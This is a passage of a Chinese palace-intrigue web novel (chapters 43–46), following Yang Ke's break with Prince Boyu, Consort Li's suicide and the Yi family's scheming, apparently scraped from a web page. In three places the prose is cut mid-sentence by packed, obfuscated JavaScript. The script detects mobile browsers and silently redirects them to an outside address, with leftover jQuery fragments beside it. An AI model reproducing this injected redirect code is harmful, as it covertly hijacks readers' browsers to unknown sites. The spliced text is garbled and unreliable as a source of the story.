他负手轻叹道:“恐怕是没有时间了。” 杨柯安慰道:“只听一刻也是好的。” 宇文泰的目光落在她的脸上,邪笑道:“你倒还挺记恩,如今也学会嘘寒问暖了。” 看着他不怀好意的眼神,杨柯感觉顿时又像回到了从前:“好心当成驴肝肺。别人对你好,你倒不乐意了?” 意料之外的,宇文泰并未像以往那样继续与她吵嘴,而是凝望着虚空:“是么?我倒希望有人对我真心相待。”眼神暗了下去,苦涩的笑意难达眼底。 那夜爹娘极力反对自己和伯喻的神情登时跳入杨柯的脑海,与宇文泰的落寞之色重合。在这一刻,她才头一次觉得,越想要靠近权力,便越要能够忍受它的刺眼和灼伤。 宇文拓走了,伯喻也杳无音信,没想到自己和宇文泰也有成为难兄难弟的一天。 杨柯轻喟一声,走上前拍了拍他的肩膀,开口安慰道:“那个……章可馨不是时常入宫么,唤她来陪着,岂不是两全其美?” 宇文泰狐疑地乜向她,眼底还冒出了点儿火星子,好像她这话是故意气他似的,身子一偏,避开了她的手:“杨姑娘的好心,本王心领了。看戏一事,以后再议吧。” 说完,便拂袖而去,留她一个人在原地不明所以:“怎么突然脾气又这么大了,本来不是好好地么?我又哪里惹到他了?” 43.喟叹 这段时日,前朝频频传来变故,工部吏部二位尚书,一个猝然病逝,另一个辞官隐退,两部官员大换血,漕运使周焕被查抄全家,锒铛入狱;田咏亦因卷入贪腐一案,被削去官职,流放戍边。一时之间,朝堂之上风云骤变,人人自危。 自从那日观星阁空等归来,杨柯心中更加惶惑不安。她隐隐察觉到,纵使二人不曾有半句争执,但他们之间已经不知不觉地生出了嫌隙,而这条嫌隙,似乎来自于那日的刺杀。 她不想再苦苦等待,于是起身匆匆赶去翠微殿,得到的却是无人回应。 杨柯感到自己悬在空中,无枝可依。但这无尽的茫然却让她更加欲罢不能。她换上遁光衣,直奔宣王府而去。 叩响宣王府的大门,朱门应声打开,上次见到的老管家走了出来,见了杨柯,泛起一个微笑:“杨姑娘,不知您要找哪位?” 杨柯感到莫名其妙,于是直接问道:“你家王爷在哪儿?” 管家的笑容僵在脸上,垂眸避开她的目光:“殿下已有旬月未曾回府,小的实在不知王爷去处。” “那他何时回来?”杨柯不退反进,“我就在这等他。” 管家旋即摇头,语气多了分焦急:“姑娘还是请回吧,如今朝廷动荡,殿下公务繁忙,兴许此刻正在宫里陪着陛下呢。” 杨柯当然明白他话中之意无非是在驱赶自己,再开口时声音已是微微发颤:“是不是他下了命令,不想见我?” 老管家看向她的眼神里多了一丝心疼,轻叹道:“姑娘还是别问了。”话毕,便转身踏入府内,杨柯抬步想要跟进去,却被门前侍卫横刀拦住。 望着眼前的朱门轰然闭合,她想起初来那日,伯喻牵着她的手领她进门,二人十指相扣,他手掌的温热似乎还停留在掌心。 杨柯这时才惊觉,自己已成了宣王府最不受欢迎的人,于是只好转身离去。 下弦月刚刚爬上中天,便跌落在渭河湖面,碎了一地。 杨柯来过无数次渭河河畔,可她从未细细瞧过这条河。从前,她唯一会在此驻足的理由便是凫水。后来伯喻进驻她的生活,她才发现,渭河原来如此辽阔,如此丰富。 可今晚,她却厌倦这份熟悉。 “啪嗒”,一滴雨点打上她的脸颊。很快,眼前河面碎玉也被雨帘遮盖得模糊不清了。 烟雨之中,一道淡白素伞罩了上来:“别等了,他不会来的。” 杨柯望向走近的芮伊,语气带着刺:“你怎么知道?” 芮伊冷冷道:“因为我了解男人。” “他和一般男人不同。” 芮伊轻笑道:“有何不同?久了就会腻,腻了便会弃。” 杨柯调转回头,眼中露出倔强:“他说过,会好好跟我在一起。” 芮伊甜笑嫣然,语气却裹着嘲讽:“那你费了这么多功夫,又找到他了吗?” 杨柯沉默了下去。 “自从那日刺杀过后,你们便再也没有相见了吧?难道伯喻真会不知你在苦恼什么吗?” 杨柯咬着唇瓣,声音却弱了下去:“他……有好多事情要办,但他知道我在等他。” “等?他若真心挂念,又岂会忍心让你苦等?” “那又如何?他值得!”似乎有了底气,杨柯的声音也硬了几分,“难道你从未等过心上之人?” “为何要等?因他一句誓言,苦苦守候一生?”芮伊语调渐冷,“这样的日子,我早就烦透。”她说着,款步走远,“男人的把戏最是无趣。情浓时,赠你轻颦浅笑、三言两语;分别时,对你执手凝眸、手挥目送,难道这就足够?”她冷哼一声,“不错,对他们来说,这些便足够了。” 见杨柯眸中亮光彻底逝去,芮伊轻声道:“遇见他,对世间女子来说,是一种幸福,同时也是一场噩运。”话毕,伊人伴着烟雨远去。 杨柯望着陌生的河面,任由雨水淋遍全身。 终于,连雨也下得乏了,而她呆立的姿势却不曾改变。可这又如何?她的愿望已然飘飞在水面,随着逝去的雨点消失不见。 杨柯揩了揩眼睫上的水滴,忽听得河岸对面遥遥传来一阵歌声:“眼为情媒,心为欲种。起手时,牵肠挂肚;过去后,丧魂销魄。” 甜腻腻的声音揉得人心底也跟着发酸,她这才恍然惊觉,自己已驻立许久。 一阵凉风吹来,风干了她的痴疑,也吹走了她最后一丝希冀。 回到宫中,青砖缝隙处还积着雨水,雨后土腥味混合着晚香玉的气息扑面而来。几十步外,忽有环佩敲击的声音响起,杨柯转头一看,一名素衣女子款步而来,脚下却仍端着宠妃的莲花步。 “丽妃娘娘吉祥。”杨柯依然像往常一样向她行礼。 此时,丽妃的脸上依然画着时兴的酒晕妆,但发间消失的紫金流苏已经换成了丝丝白发,唯有眉间的牡丹花钿还提醒着她曾经尊贵的身份,“杨姑娘,没有想到,本宫最后见的人,竟然是你。”也许刚刚经历了巨大波折,丽妃对杨柯浑身湿透的奇怪模样视而不见。 杨柯恭敬道:“能送娘娘一程,算是臣的荣幸。” 丽妃隐约一笑:“本宫听闻你很得公孙的赏识,如今看来,她的眼光也确实不错。” “多谢娘娘夸赞。臣对宫家近日的罹难有所耳闻,还望娘娘宽心。” 丽妃反而冷哼一声:“本宫受宠时,有多少人对着宫家阿谀奉承,如今就有多少人在背后落井下石。”顿了顿,她看向杨柯,目光中带着几分期许,“杨姑娘,你既得公孙赏识,往后若有机会,还望你能为宫家说上几句公道话,这样,拓儿以后也能好过一些。” “那是自然。”杨柯想起了昨日在御花园的见闻,不禁问道:“娘娘……可曾后悔?” “后悔?后悔什么?我宫丽从不做后悔之事,”她眼里的眸光凌厉,“宫氏虽然倒了,但你记住,她章家也苟活不了多久!” “您千算万算,对待亲生儿子也心狠手辣,如今却落得这么个结局,难道您对端王,对那些无辜之人,没有一丝愧疚?” “拓儿他……不该被我拉进来。”眼中落寞还未熏沉片刻,又旋即转为嗤笑,“至于其余人,本宫为何要愧疚?” 杨柯怒道:“乐白是无辜的,你却要拿她的性命!” 丽妃向她逼近,眼神阴冷:“你以为那些所谓的好人,就是真的好人?” 杨柯道:“最起码他们没有残害无辜、蚕食公饷。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15484219|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “笑话!杨柯,本宫告诉你,但凡是你眼里见到的,就没有一个干净的货色!还有,你以为宸妃待你不错,她就善良纯洁了?宸妃比本宫更狠,你以为她天天窝在屋里烧香拜佛是为何?她造的孽,这辈子都还不完。若要论虎毒不食子,本宫在她面前还稍逊一筹。” “什么意思?” “宇文泰还有个弟弟——宇文麟,十三年前,她为了扳倒易家,结果把自己给赔了进去,宇文麟就是她的祭品。”她的脸上浮起一抹笑,那笑仿佛丽妃曾经佩戴的九凤冠,华贵却扎得头皮出血,看起来得意而又可怜。 杨柯冷言道:“你们争来争去,到底为的什么?” “为了生存!若你没有靠山,宫里的女人就要扑上来将你吃干抹净。”她眼底的恨意转为凄楚,“可你有了靠山,在陛下眼里,连呼吸都是罪过。” “既然你心知肚明,为何还要一头扎进去?端王大可以放弃皇储、做个亲王,你也可以安享晚年。” 她仿佛听了笑话一样敞怀大笑:“你为何到现在还不明白,踏进了皇宫就没有回头路这个道理?在皇宫里,无论你是谁,都逃不脱这个宿命。”她见杨柯脸上犹豫,继续道:“你以为你进了宫就能出去?那只是你以为。现在,伯喻不已经拉你进来了么?以后的日子,你自然会慢慢明白本宫说的话。” 杨柯赶忙问道:“你知道伯喻的事?他如今到底怎样?” 丽妃淡淡道:“伯喻身为皇子,怎么可能置身事外?拓儿只是第一个,宇文麟、宇文泰、宇文伯喻,宫家、章家、易家,对他来说,有什么差别呢?”她仰头望天,语气中带着深深的悲怆,“谁都一样。” 捕捉到她眼底的落寞,杨柯问道:“你恨他吗?” 丽妃听言愣了一瞬,视线落到了虚空处。 “没有爱,哪来的恨呐!”她泫然欲泣,但瞬间,长达十七年的高傲神色又惯常地占据了上风,她梗着脖子,高昂起头,怅然大笑而去。 杨柯凝望着她的背影,那具小小的身子如今夹在两堵高墙之间,好似一只折翼的飞鸟。杨柯从未想到过,一向恣傲的丽妃也会生得如此单薄瘦弱。曾经高坐于提辇上的宠妃以为能够凌驾于众人之上,但那时的她还不明白,君恩是笼罩在她头顶的荣光,也是她永远无法跨越的宫墙。 回到凌薇苑,二更的更声刚刚敲响,一阵急促的脚步声传来。 “出事了!出事了!”青桃连跑带摔地奔了进来。 杨柯疑道:“怎么回事?” “丽妃……哦不,丽才人,在杏芳苑,上吊自尽了!”一阵冷风吹过,惶惶刺到她的脸上,好似美人的长指甲划过,尖利刺挠。 杨柯喃喃道:“她……果真自尽了。”骄傲如丽妃,哪里会让人瞧见她屈居于冷宫的模样。 “陛下竟然用贵妃的规格为她下葬,端王也上奏请求守陵三年,看来宫家彻底没了。” 她忍不住讥讽道:“生前亲手拽她坠入深渊,死后让她安于皇陵长眠,也不失为一种疼爱。” 青桃疑惑道:“姑娘,你也觉得陛下对丽妃很好么?” “好?什么是好?荣耀不过是头顶上的凤冠,死后给她再多,便能让白骨化成红妆了么?” 44.刺痛 不知不觉日子就到了冬天。 深冬的宫墙之内,高大的树木轻摇着枯黄的叶片,偶尔有几片残枝败叶被抖落在砖瓦上,发出最后一声微不可闻的绝叫,却被远处传来冷硬的更漏声无情地遮盖了。 终日以来,芮伊和丽妃的话接二连三地在杨柯脑海里浮现,好像一个钩子,待要把那个面目狰狞的事实给钩上来,但末了却又无力地消沉下去,沉没在井底。 到了今日,杨柯再也难以忍受,暗下决心,无论如何都要见他一面,问个明白。 终于回到了熟悉的翠微殿。 角落的宫灯一盏盏亮起,温暖的光芒穿透薄雾,笼罩着整座殿宇。杨柯敲开宫门,小福子探出头来,犹豫着是否要迎她进去。见他神色反常,杨柯心中顿时有了底,看来伯喻此刻就在殿内。她并不想多做言语,直接走了进去。 “姑娘,您还是明日再来吧。”他在杨柯身后低声喊道。 杨柯回身惊讶道:“怎么了,伯喻不在宫里?” 他结结巴巴地回道:“也……也不是,不过您最好明日再来。” 烦闷早已郁结于心,杨柯也不想理会,兀自往殿内探去。 一阵琴音从屋内传来,听着似乎掌琴的不只一人,这个时辰了,伯喻屋内怎么还有其他人? 她正奇怪着,脚上依旧不停,过了中庭的板桥,但接下来的一幕直接让她呆在原地:伯喻和易云舒正相对而坐,中间琴案摆放着两把形制对称的古琴,一个沉稳如松,一个清丽似竹。伯喻起身来到易云舒身侧,手覆上她的,两只手一齐拨动起琴弦,曲罢,两人相视一笑。 生理上的痛苦总比心理上来得更直接。杨柯右肩的伤口忽然开始隐隐作痛,让她不由得俯下身子。 但她心里有个声音告诉自己不能就这么离开。她迈开沉重的步子,从内庭走到了房门外,每一步都像在她的脚心扎进一根刺针,但奇怪的是,痛苦之余却带着一丝死期终临的爽快。 终于,到了门前,房中的二人自然有所发觉,转过头来,目光对视上,皆脸色一变。 杨柯想要开口,却仿佛被堵在了嗓子眼,什么都说不出来,只能死死盯着伯喻,期待他能给自己一个解释。 伯喻身姿依旧优雅,但脸上却和杨柯一样,憔悴了许多。 杨柯正凝神望着他的脸,忽听他客气笑道:“进来怎么不让小福子通报一声。” 杨柯踏前半步:“为何要躲着我?” 伯喻睫毛微颤,手里抚着琴弦:“最近事务太多,实在没有空闲。” 杨柯喉间一紧:“可你说过……即使再忙也会陪我。” 伯喻轻声一叹:“从前说的话,也是从前了。” “从前你如何都愿意陪我,现在却对我避而不见?” “你永远这样伶牙俐齿。”他的语气中还带着一丝熟悉的宠溺,让她恍惚得分不清眼前残酷的画面究竟是噩梦还是现实。只见伯喻转头看向对面,原来这时他眼中的才是真实的宠溺:“忘了介绍,云舒从新郑归来,她也和你一样,对诗词颇有见解。” 杨柯并不理会,而是问道:“观星阁之约你记不得了吗?为何与她抚琴,却不愿见我一面?” 伯喻顿了顿,才道:“忘了告诉你,我们二人是青梅竹马之交。” “那……我呢?”说出这三个字让杨柯倍感荒谬。 “抱歉,你比她来得晚了些。”凉凉的声音好似滚烫的熔浆洒在她的心上,留下“滋滋”声响,“从前,我以为和云舒不会有结果,所以才和你走近,但我误会了她的心意,如今才发现,她和我一样。” 杨柯定定地看着他:“你在骗我。” 伯喻眼中平静:“云舒何必跑来骗你?” “是不是因为那日的意外?”杨柯向他靠近,眼中满是坚定,“伯喻,我不怕,既然我选择了你,就不害怕危险。” 伯喻移开目光,语气冷淡:“你不害怕,但我害怕。” 杨柯扯起一个微笑,又向前半步:“我有武功——” “我害怕你拖累我。”伯喻往后退去,那一步踩碎了杨柯心中最后一道希望。他垂眼看着窗外庭内已经衰败的芳草,“如今酿成误会,实在抱歉。” 杨柯的自尊让她不愿再像个弃妇一样质问,她压抑着颤抖的声音,苦笑道:“原来才子都是这般风流么?” 伯喻的声音又再响起,但她只觉如坠冰窖,五官六感全都被冰冷紧紧塞住,混混沌沌地转身离开。 见她掉头回来,小福子无奈叹道:“姑娘,奴才说了最好明天再来,你就是不听。” 杨柯质问道:“难道我不应该知道这些吗?” 小福子无言以对,只叹了口气,送她离开。 “云舒”,那晚宸妃寿宴,梨花树下,伯喻说的第一句,唤的便是这个名字。杨柯痛苦地意识到,自己的后知后觉,总是来得这样巧合。他与自己相识相爱也不过短短百天,易家十年的恩情,云舒十年的陪伴,岂可同日而语? 凛冬未至,但她却已提前尝到了彻骨冰凉。鬼使神差一般,她还是走到了御花园里。承影湖边,水面泛起层层涟漪,是微风轻拂还是鱼儿夜游,不得而知,只留下一层又一层病怏怏的波纹。 突然听见身后传来脚步声,她心里一跳,这么晚了,御花园还有人? 转头看去,居然是宇文泰。月光下,他缓缓走来,背手负立在她身前。 “你在这里做什么?”俩人异口同声,皆是愣了一瞬。 杨柯抢先开口:“殿下半夜出来,也不怕失足掉进河里。” 听她如此冒犯,宇文泰竟不愠不怒,接着道:“本王要是死了,也得拉你陪葬。” 杨柯讥讽道:“像我这种庶民有何荣幸能葬入皇陵?羲王真是抬举我了。” 宇文泰的脸上闪过一丝痛楚,但嘴角仍旧含笑:“我发现每每半夜出宫,总能碰见你。” 杨柯转过头去:“睡不着出来看看风景,赏赏花罢了。” “黑灯瞎火的能看见什么?” “有心便能看见。” 又是一阵沉默。 “花赏完了,也该回去了。殿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15484220|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下早点休息。”杨柯强撑着笑意,福身准备离开。再多待一瞬,便多一分让他瞧见自己狼狈的可能。未听见宇文泰的回答,杨柯以为他已不想多搭理自己。 可没走出几步,听见他的声音从身后传来,透着一丝无奈:“杨柯,我救了你,不是让你跑去别人那里自找苦吃。” 杨柯心中一震,宇文泰的点破让她顿时无地自容:他如何知道自己从翠微殿来,又在翠微殿看见了什么? 秘密突然被揭露,她登时惊慌了起来,忙掩饰道:“多谢殿下提醒,不过……您多虑了。” 回到凌薇苑,杨柯失神地坐在梳妆台前,青桃端着铜盆进来,氤氲的松香缓缓浮出水面,唤起了她心底的回忆。 那松香恍若一只小蛇,亲昵又熟悉,可当它钻进怀里时却为时已晚,她只能任其一头扎进心间,一寸一寸,越剜越深。可这痛楚反而让她清醒地明白,心中还保存有多少爱,便能由着它蚕食多久。 杨柯俯首看向铜盆,水波在昏暗的灯光下摇曳,照映着木盘上的松脂,一滴精油坠入水中,那松脂的影子顿时碎成了片。 她心中了然,“镜花水月”,原来是这么个意思。 “姑娘,你今日是怎么了?”青桃担忧地看着她,语气中满是小心。 杨柯扯了下嘴角想笑,却木住了,只好道:“没事,许是天气凉了,方才在外面吹了点儿冷风。”青桃一听便知这不过是个借口,杜衡对她摇了摇头,她只好收回了要说出口的话。片刻,她二人收拾完毕,退出了房门,终于只有杨柯一人在屋内。 她的伪装彻底卸了下来,直直地躺到塌上,盯着床顶的帷幔,那满眼的昏黄沉沉地压下,仿佛要将她吞没。 眨眼间,她恍惚落于一片薄雾之中,惊恐之余,却看见伯喻在不远处向自己伸手。 杨柯满心欢喜地跑去,执起他的手。他的掌心传来熟悉的温热,带着她向前方走去。 杨柯虽不知道要去往何处,但心里却明白,他去哪里,自己便去哪里。 雾气带着凉意,让她不由得打了个哆嗦,察觉到的伯喻关心地看向她,伸手将她揽进自己的怀中,松香的气息再次环绕住她。 心间突然一紧,直觉让杨柯脱口而出:“伯喻,你还会离开我吗?”抬头望向他眼底。 伯喻一言不发地看着杨柯,琥珀色的眸中平静无波,没有多一分的激情,也没有少一分的暖意。 就在杨柯再次开口之际,伯喻的身子忽然开始变得透明,她欲伸手去抓,却怎么也抓不住,只能眼睁睁地看着他的身影透如蝉翼,消失不见。 “伯喻!伯喻!你在哪儿?”杨柯大声呼唤着他的名字,可满眼只有茫茫白雾,干净得心慌。 从梦中猛然醒来,杨柯瞪着眼前的帷幔,昨夜的种种瞬间如潮水一般席卷而来,让她再次窒息。 杨柯视线移开,床前空空荡荡,此时此刻与梦中何其相似,伯喻再也不会出现在这里了。 清晨一片寂静,她却觉得格外喧嚣。想要翻身逃避,一侧头,却发现泪水早已浸湿了枕头。 45.误解 这几日,杨柯依旧如常地去上课,走进书院,原本因为害怕看见伯喻的担心和期望也不出所料地消失了。他和宇文泰如今是唯二参与政务的皇子,早已不用在书院上课。念及此,她不免觉得自己可笑荒唐,一个在朝堂上翻云覆雨的人,又怎会在意儿女情长? 纪夫子走了进来,又继续上一节课的之乎者也,云昌吉不出所料,将书尽数堆在面前,伏案酣睡。 杨柯昨夜睡得昏昏沉沉,身子仍旧疲惫,但意识却格外清醒。她撑着下巴,透窗观景,青天之下,云雾缭绕,眼前所见与伯喻房内画中的湖光山色竟无二致。 又想起他了,杨柯心里一酸,眼泪却早已流干,也不剩多余的力气再为他落泪。 苦涩之下,没别的可做,只好生捱过这一上午。 终于上完了课,夫子前脚刚走出亭子,乐白后脚便将云昌吉弄醒。 “唔!”云昌吉被乐白用羽毛挠得浑身哆嗦,一个激灵坐了起来,“哪里来的虫子?怎么这么痒?” 乐白哈哈大笑,云昌吉抬眼看去,才发现自己翻找半天的飞虫原来是乐白手中的羽毛。 “小白,你越来越过分了!”说完,他双手凑到嘴边,呵了口热气,伸手便要往乐白嘎吱窝里挠去。 乐白登时惊呼,吓得抬腿就跑,云昌吉紧追不放,二人在亭子里窜来窜去。 杨柯见她二人欢喜闹腾,不由得愈发落寞,心中苦楚更深了一分。索性站起身子,直接走了出去。 “哎!阿柯,等等我们!”乐白见她走出亭子,赶紧在背后叫住她。 云昌吉一个箭步追了上来,长长的手臂挂在杨柯肩上:“走这么快做甚?” 乐白见杨柯垂睫沉默,心知她此时定是痛苦难堪,不免无奈心疼起来,嘴上故作玩笑企图逗她一乐:“是啊,你一走,云昌吉就敢欺负我了。” 云昌吉道:“明明是你先捉弄我的,怎么还贼喊抓贼了?” “哼,自从你跟着二哥办事,我看你的胆子是越来越大了,从前还会让着我,现如今,我给你五分,你便要还七分!” 听到宇文泰,杨柯想到了伴读调换一事,终于开口道:“昌吉,你可有想好下一个伴读的皇子?” 云昌吉惊讶道:“这么快便要重新遴选了么?我还没考虑这事呢。” “我想跟你调换,你意下如何?”此话一出,他二人皆瞪大了眼睛。 乐白疑惑道:“阿柯,你不是向来与二哥水火不容,这次怎么要主动到他身边去?” 看着他二人关心的神色,杨柯解释道:“我听闻师父和易家走得很近,加上这段时日朝中风云变幻,我担心师父会有危险,索性干脆去做宇文泰的伴读,这样我也能在宫中帮着师父一些。” 云昌吉伸手拍了拍她的肩:“你若要去殿下身边,我倒是可以让出位子来。可前朝之事及其复杂,我担心你一旦卷入,恐怕难以向伯父伯母交代。” 乐白也劝道:“是啊,后宫纷争尚且凶险,更何况是前朝?” 杨柯笑着对他们道:“你们放心,其中尺度我自会把握。若我不去,纵使以后我能安全无虞,但看着师父卷入凶险,我也很难原谅自己。” 他们脸上有些为难,但还是纷纷表示理解。 三人正走着,迎面碰上了易云舒。她今日梳着云鬓,更显高挑匀称。 “郡主,云公子,”她向乐白福了个身,视线转到杨柯身上时,顿了一顿,“杨姑娘。” “云舒姐姐,近日怎的入宫这么勤?”乐白对云舒虽有感恩之意,但心中难免带刺。 云舒自然听懂了她话中之意,脸上依然带笑:“司音局忙着冬月初一的曲子,我自然是要多去走动走动的了。” 乐白道:“云舒姐姐前段时日去了郑卫,可有带回什么新鲜的曲子?” 云舒道:“都说郑风淫,那里的曲目所唱大多是男欢女爱之意,若是放到百官宴席上,恐怕有些不妥。” 乐白疑惑道:“男欢女爱?我倒是好奇都讲了些什么?可有夺人所爱、三心二意这样的桥段?” 云舒尴尬了一瞬,笑道:“辜负郡主期望了,不过是些木瓜琼琚这类情节罢了。” 乐白刚想说什么,却被云昌吉开口挡住:“木瓜穷居?都吃得起木瓜了,哪里还称得上穷呢?” 本有些紧绷的气氛反而被他的糊涂话给打破了,云昌吉见她们脸上浮现笑意,又疑惑道:“我说得可有不对?况且这和男欢女爱有什么干系?” 乐白没好气地拍他的头:“呆子!你啊,还是多吃点儿木瓜吧。” 云昌吉挠着头不解地看着乐白。 乐白摇了摇头,目光流连在杨柯和云舒身上:“看来有必要给昌吉补一补了,省的以后再闹笑话。我们先走一步。”说完便扯着茫然的云昌吉溜走。 只剩下杨柯和云舒站在原地,云舒收回了目送乐白和昌吉的目光,看向杨柯:“阿柯,不知道这么叫你,是否合适?” “无妨,随你便是。” “昨日之事,我代伯喻向你道歉。” 杨柯皱着眉头:“为何要道歉?就算是道歉,也应该是他来说。” 云舒道:“我没有想到,事情会发展到这样的地步。况且,我和伯喻也……” 杨柯截住她的话:“他选择了你,我也没有什么可说的。你更不用道歉。” 云舒眉头不自觉地皱起,开口欲有所言,但还是沉默了下去。 杨柯自己已是不好受,看着她为难的样子,何必再让世间的痛苦平添一份,于是道:“你若真心爱他,便好好待他。我和他的情已经过去……”杨柯心中酸涩顿时将话语堵在了喉间,“我会放下他的。不过,也许会很久,请你谅解。” 易云舒忽然开口道:“我们……”刚要出口,又咽了回去,声音轻了些,“多谢你的成全。” 杨柯对她扯出一个笑容:“若没有别的事,我就先走了。” 杨柯心里清楚,这场纷争,过错并不在云舒,自己又有何理由去责怪她?可是她却无法正视云舒,更无法把她当作朋友来看待。一见到她,自己就会想起那夜在翠微殿见到的画面,心里便隐隐作痛。 易府朱门外,已是门可罗雀。易云舒踏进大门,穿过寂静无人的游廊,停在了书房门前。 书房内,易望林正对着满墙舆图出神,案头的茶盏早已凉透。 易云舒轻手轻脚地走到砚台前,取过墨锭缓缓研磨,终了,才轻声开口道:“女儿不明白,父亲为何要主动辞官?周焕虽是易氏族人,但他贪墨渎职的罪行皆是个人所为,与我易家井水不犯河水。再者,陛下念及您辅佐两朝的功绩,至少也该留您坐镇中枢。” 易老抚摸着案头的书页,缓缓道:“尺蠖之屈,以求信也;龙蛇之蛰,以存身也。舒儿,锋芒过盛必遭折损的道理,你要刻在骨子里。” “您的意思是,以退为进?” “正是。若不主动退让,陛下迟早会借周焕之事对易家开刀。若我此刻认罪,陛下心中自然解气。看似示弱,实则将先机留在手中。” “可往后重回朝堂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15484221|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,难道就容易?”云舒急得眼眶发红,“此举简直是自断臂膀。倘若未来情势不容乐观,恐怕便没了东山再起的机会。” 易望林突然冷笑,笑声里带着经年的疲惫:“你可听过‘天欲其亡,必令其狂’这句话?” 云舒怔住:“女儿愚钝,不明白爹爹的意思。” “这话是在半月前的勤政殿内,陛下怒斥端王时所说。”易望林撑案起身,推开雕花窗,暮色卷着枯叶扑进屋内,“那时宫家尚未倒台,漕运贪墨案更未暴露。” 云舒悚然一惊:“这些隐秘……爹爹难道早就知晓?” “不是早就知晓,而是必须知晓。”易老望着宫阙方向闪烁的灯火,声音低沉如钟,“在这吃人不吐骨头的朝堂,装聋作哑是死,后知后觉也是死。我退这一步,既是保易家周全,更是……”他突然剧烈咳嗽起来,“等待最后的反戈一击。” 云舒转身欲唤侍女取药,却被易望林抬手制止。 易老喘匀了气息,沙哑开口道:“更何况,如今形势混乱,懂得行藏用舍,未免不是好事。” “您说的是,前段时日宣王府外的刺杀一事?” “正是。出手救出宣王的,是逍遥居。” 云舒惊道:“竟然是他们?” 易望林压低嗓音:“此事牵扯柔然,更关乎大夏国运。” 云舒淡淡道:“爹爹是想说,波及伯喻吧。” 易望林微微点头:“不错。他的脚站在哪一方,不只是我,更是陛下悬在心头的刺。” “原来陛下和爹爹早就知晓影刃阁的存在。”云舒不由得攥紧衣袖,“那为何不趁早阻止,难道要眼睁睁看着伯喻倒向柔然?” “陛下的心思太深,我尚且还未参透。”易望林望着窗外翻涌的乌云,目光忽变锐利,“但有一点,影刃阁暗中筹谋的,难道不正是我易家二十多年来,不惜自断羽翼也要达成的夙愿?” 云舒怔愣片刻,忽而展颜轻笑:“爹爹这招果真高妙。” “对陛下而言,影刃阁只是一颗垫脚石。”易望林拂袖关上雕花窗,隔绝了外头的呼啸风声,“待他们搅乱局势,才是真正考验伯喻忠心的时刻。” 忽然,一阵惊雷炸响,狂风骤然卷开窗扇,雨点跟着打了进来。云舒望向已被淋湿的焦尾琴,不禁又想起了昨夜那一场误会。 原来,昨晚的翠微殿内,局面并未因为杨柯的离开而平息。 烛台噼啪爆开灯花,翠微殿里凝固的空气被骤然打破。 一直垂眸抚琴的易云舒轻声道:“伯喻,你这是何苦。” 她望向仍然僵在原地的伯喻,此刻,他像一座冰川,岿然不动,但又不知里面是如何的波涛翻涌。 “多谢今晚的成全。”他的话语好似从深渊传出,裹着难以言喻的痛楚。 云舒蓦地起身,走到伯喻身侧:“你知道我的心意,但我不想自己就这样成为你们分开的理由。你为何不直接告诉她原因,而要用这种……”她蹙眉侧头,不忍继续讲下去。 伯喻骤然转头,眼底布满血色:“我连自己都无法保住,拿什么许人幸福?云舒,欠你的情,我不会忘。” 云舒轻声道:“不采而佩,于兰何伤。”她的脸上终于浮现出痛苦之色,“伯喻,你为何总是这样残忍?”话毕,她也转身离去,留下一室幽香。 伯喻垂下眼帘,他缓缓伸出手,手掌轻覆在琴弦之上,骤然用力握紧,随着噼啪脆响,琴弦根根崩断,如蝶群四散。 掌心的血一滴一滴渗了出来,染红了琴案。 46.转圜 恍惚过了一月,已入深冬。整座京城,尽是红衰翠减,惨绿愁红。 然冬月十五,承影湖上画舫灯火璀璨,玉盏流光,百官环坐,丝竹盈耳。与宫墙外截然不同,紫微宫内一片煊赫景明之象。 忽听丝竹骤停,皇帝漫声道:“今年冬天还未落半片雪,倒是稀奇。” 右首的郑仪闻言躬身道:“陛下圣德昭昭,连严寒都为之敛锋。” 皇帝嘴角还未来得及上扬,便听郑仪下首的户部侍郎张意初冷言道:“照郑大人这说法,年初滁州洪灾,莫非也是陛下仁德感动上苍,要以千里浊浪彰显圣威?”此话惊得满座皆倒吸一口冷气,他身侧官员往旁挪了挪身子,生怕与他有所沾染。 杨柯随乐白郡主一同列坐于画舫右席,她正暗自出神,此刻视线倒是被张意初的话吸引过去。在这风声鹤唳的关口,此人胆敢出言不逊,杨柯不禁对他升起一丝敬佩。 月前那场朝变后,老臣们的席位早已换上青衫白面的新面孔,不过有几个她倒是认得,之前在紫英阁见到的督粮官苏明义也来了宴席。 只听苏明义笑着道:“张大人为人爽快,难怪能将滁州流民户籍的乱麻理得一清二楚。”他视线转向皇帝,“陛下得此能臣,连老天爷都要顺着圣意收了风雪。” 皇帝脸色稍缓,指尖轻叩扶手:“苏卿这话说得在理。张卿虽言语犀利,但也贵在敢言。滁州灾后诸事,多亏他处置得力。” 杨柯对这些虚言套话顿时没了兴趣,欲要将视线收回,却还是忍不住绕向那抹白衣。 